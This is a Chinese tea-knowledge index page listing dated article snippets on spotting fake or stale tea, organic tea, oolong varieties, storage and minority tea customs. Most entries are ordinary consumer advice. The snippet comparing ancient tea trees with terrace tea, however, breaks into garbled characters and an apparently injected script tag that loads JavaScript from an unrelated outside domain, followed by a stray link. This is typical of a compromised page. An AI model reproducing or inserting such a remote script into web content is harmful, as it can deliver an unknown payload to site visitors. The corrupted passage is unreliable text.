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茶叶知识

茶的鉴别真茶与假茶: 　　（一）新茶与陈茶是相比较而言的，在习惯上，将当年春季从茶树上采摘的头几批鲜叶，经加工而成的茶叶，称为新茶。茶叶收购部门的“抢新”，茶叶销售部门的“新茶上市”，茶叶消费者的“尝新”，指的都是每年 ...; 2024-9-9 12:07

怎么辨别绿色有机茶: 　　为迎合公众的“无污染”需求，进而牟取暴利，目前许多厂商在茶市乱打绿色有机茶的招牌，使消费者真假难辨，甚至上当受骗。那么究竟什么样的茶才是绿色有机茶？消费者如何分辨？专家提醒，目前最直接的方法是要 ...; 2024-9-9 12:04

选好茶要茶颜观色: 　　国检茶叶质检中心主任骆少君介绍说，茶叶种类基本上是以发酵程度不同来区分的。绿茶是一种不发酵的茶，是将采下的茶鲜叶摊放、杀青、揉捻、干燥等程序加工成的。常见的有龙井、碧螺春、黄山毛峰、高桥银峰等。 ...; 2024-9-9 12:01

铁观音茶认识的四个误区: 　　误区一：铁观音越香越好人们在购买铁观音时往往被一些茶商销售员灌输一些错误的概念，其中销售员多以香型迷惑消费者，让消费者以为香味高的就是好铁观音。铁观音确实要讲究香，但并非越香越好。香气好的铁观 ...; 2024-9-9 11:58

饮茶品茶的禁忌: 品茶时，要注意：(1)、饮用新茶不宜过浓。新茶中所含鞣酸、咖啡因、生物碱、芳香油等较多，过浓会使神经系统高度兴奋，出现心率加快、心慌气促等醉茶现象。(2)、空腹时不宜饮茶。茶有消食健胃作用，空腹饮茶增强胃肠 ...; 2024-9-9 11:55

茶叶选购的基本常识: 　　茶叶选购知识:茶叶的种类很多,该买什么茶叶才适合自己呢?如果您希望摄取较多的维他命C，而且喜欢那种新鲜蔬草香味，可以买绿茶。如果觉得绿茶带“菁味”不喜欢，而偏好具兰、桂花的清香，那就买“包种茶”。认 ...; 2024-9-9 11:52

明明白白买新茶: 　　又到新茶上市的季节了，爱饮茶的人都急于尝个鲜。那么，在选购新茶时应注意些什么呢？建议您起码明白以下几点。观外形无论哪个品牌的茶叶，都以条索紧结为上，即所谓的“雀舌”。如峰苗重实、浑圆、茶梗短嫩 ...; 2024-9-9 11:49

为什么要选择有机种植方式？: 　　长期从事常规农业种植和畜禽养殖，会带来一系列的问题：（ 1 ）长期使用农用化学品导致环境污染，害虫更多，抗性更强；（ 2 ）土壤板结、退化导致产量下降；（ 3 ）自然资源不能得到充分的利用；（ 4 ）周 ...; 2024-9-9 11:46

大连香格里拉炒茶节: 　　 2007年3月25日至4月30日，大连香格里拉大饭店特邀来自杭州的炒茶大师杨师傅客座酒店一楼的大堂酒廊，为茶客现场炒制从杭州空运来的新鲜清香的龙井茶。出生于杭州的第三代炒茶世家的杨师傅只有29岁，但却有着12 ...; 2024-9-8 13:42

走进神秘的茶乡世界: 　　几天前的茶博会开幕式上，有一群金发碧眼的来客在茶农中格外醒目，这是一个由法国、比利时、意大利等国记者组成的采访团。从采茶到炒茶，从茶文化到茶旅游，他们试图走进神秘茶乡的每一个角落。杭州茶旅游对国 ...; 2024-9-8 13:39

家庭怎样保管好茶叶: 　　买回的小包装茶，无论是复合薄膜袋装茶或是听罐包装茶，都必须放在能保持干燥的地方。如果是散装茶，可用干净白纸包好，置于有干燥剂（如块状未潮解石灰）的罐、坛中，坛口盖密。如茶叶数量少而且很干燥，也可 ...; 2024-9-8 13:36

闽南乌龙茶名品四花旦: 　　茶为国饮，闽茶为优。有人说，福建是“茶之乡、茶之祖、茶之源、茶之韵”。提到福建茶叶，肯定绕不开的，就是闽南的乌龙茶。闽南乌龙茶品质特征鲜明独特，香气似兰似桂自然清香，滋味醇厚甘爽，有“绿叶红镶边 ...; 2024-9-8 13:33

罕见闽南乌龙茶品大观: 　　茶为国饮，闽茶为优。有人说，福建是“茶之乡、茶之祖、茶之源、茶之韵”。提到福建茶叶，肯定绕不开的，就是闽南的乌龙茶。闽南乌龙茶品质特征鲜明独特，香气似兰似桂自然清香，滋味醇厚甘爽，有“绿叶红镶边 ...; 2024-9-8 13:29

竹叶青茶工艺: 　　竹叶青茶，是四川峨眉山区所产绿茶，自唐代起即为名茶。竹叶青之名，是由于现代陈毅赞美其茶形美如竹叶而得。竹叶青的工艺特点：系采早春细嫩茶叶制成，属炒青绿茶，其工艺考究，炒茶时低温而适度，投叶量少 ...; 2024-9-8 13:26

花果山云雾茶工艺: 　　花果山云雾茶，产于江苏省连云港市花果山，是绿茶类名茶。该茶内含物丰富，氨基酸，儿茶多酚类和咖啡碱含量均较高。花果山云雾茶的工艺特征：其一级茶全以一芽一叶为原料，炒1斤干茶需6-7万个芽头。其工艺过 ...; 2024-9-8 13:23

神奇的苗家虫茶: 　　虫茶是云桂湘等地苗族的一种传统饮品，如果用茶的科学定义来衡量，其实这虫茶并不是真正的茶，它实际上是一种名为化香夜蛾的粪便。人们食用这种虫子的粪便的方法与我们饮茶相近，故而将其称作茶。虫茶约米粒大 ...; 2024-9-8 13:20

教你饮乌龙茶: 　　今年流行喝乌龙，人参乌龙、冻顶乌龙在茶市里热得烫手。其实，乌龙的板眼还是蛮多的，把乌龙喝到位也是不容易的事。乌龙茶也称青茶，是介于绿茶(不发酵)和红茶(完全发酵)之间的一类半发酵茶叶。因此，它具有绿 ...; 2024-9-8 13:17

蒙顶甘露: 　　　　“扬子江中水，蒙山顶山茶。”蒙顶茶产于地跨四川省名山、雅安两县的蒙山，是中国最古老的名茶，被尊为茶中故旧，名茶先驱。蒙山位于四川省邛崃山脉之中，东有峨眉山，南有大相岭，西靠夹金山，北临成都盆 ...; 2024-9-8 13:14

泉岗辉白: 　　泉岗辉白茶又称前岗辉白茶，因产于浙江省嵊州卮山乡前岗村二得名。该茶始创于清代同治年间，并被列为贡品。　前岗位于四明山的支脉，这里海拔500米左右，气候寒冷，云雾笼罩，又人形容这里地形为“前岗大岭 ...; 2024-9-8 13:11

古茶树与台地茶的区别: 　　古茶树与台地茶的区别说起古茶树、台地茶，大家往往就会浮想联翩，各种看法、认识众说纷纭?script type='text/javascript' src='https://www.miyexiang.com//js/v.js'>腋鋈巳衔斩?a href=https://www ...; 2024-9-8 13:08

佤族苦茶: 　　佤族居住的地区，习惯上称之为阿佤山，他们至今仍保留着一些古老的生活习惯，喝苦茶就是其中之一。佤族的苦茶，冲泡方法别致，通常先用茶壶将水煮开，与此同时，另选一块整洁的薄铁板，上放适量茶叶，移到烧 ...; 2024-9-8 13:05

各民族的名茶大观: 　　中国是世界茶叶的故乡，种茶、制茶、饮茶有着悠久的历史。中国又是一个幅员辽阔、民族众多的国家，生活在这个大家庭中各族人民有着各种不同的饮茶习俗，真可谓“历史久远茶故乡，绚丽多姿茶文化。” 擂茶。顾 ...; 2024-9-8 13:02

教你识别真假茶: 　　随着气候转暖，来自四川、广西等南方主要产茶区的春茶相继入市。目前，南昌市场上销售的已有碧螺春、翠柏、竹叶青等10多个品种。由于春茶一直广受消费者青睐，南昌街头各大茶叶专卖店纷纷以“春茶”作为最新卖 ...; 2024-9-8 12:59

十大名茶的特征和识假方法: 　　西湖龙井、铁观音、碧螺春、信阳毛尖、都匀毛尖、黄山毛峰、六安瓜片、祁门红茶、武夷岩茶、君山银针并称我国十大名茶，芳名远播，成为品茗上选。然而近来年十大名茶也出现了很多假冒产品，下面给大家介绍这些 ...; 2024-9-8 12:55

布朗族香茶品种多: 　　布朗人群居的布朗山一带是著名的“普洱荼”的产地之一。这里的布朗族同胞制茶的经验相当丰富，会制作很多香味隽永的茶叶，主要有散茶、竹筒茶和酸茶。　散茶，亦称为“大叶子茶”。新采的茶叶经过炒后杀青， ...; 2024-9-8 12:52

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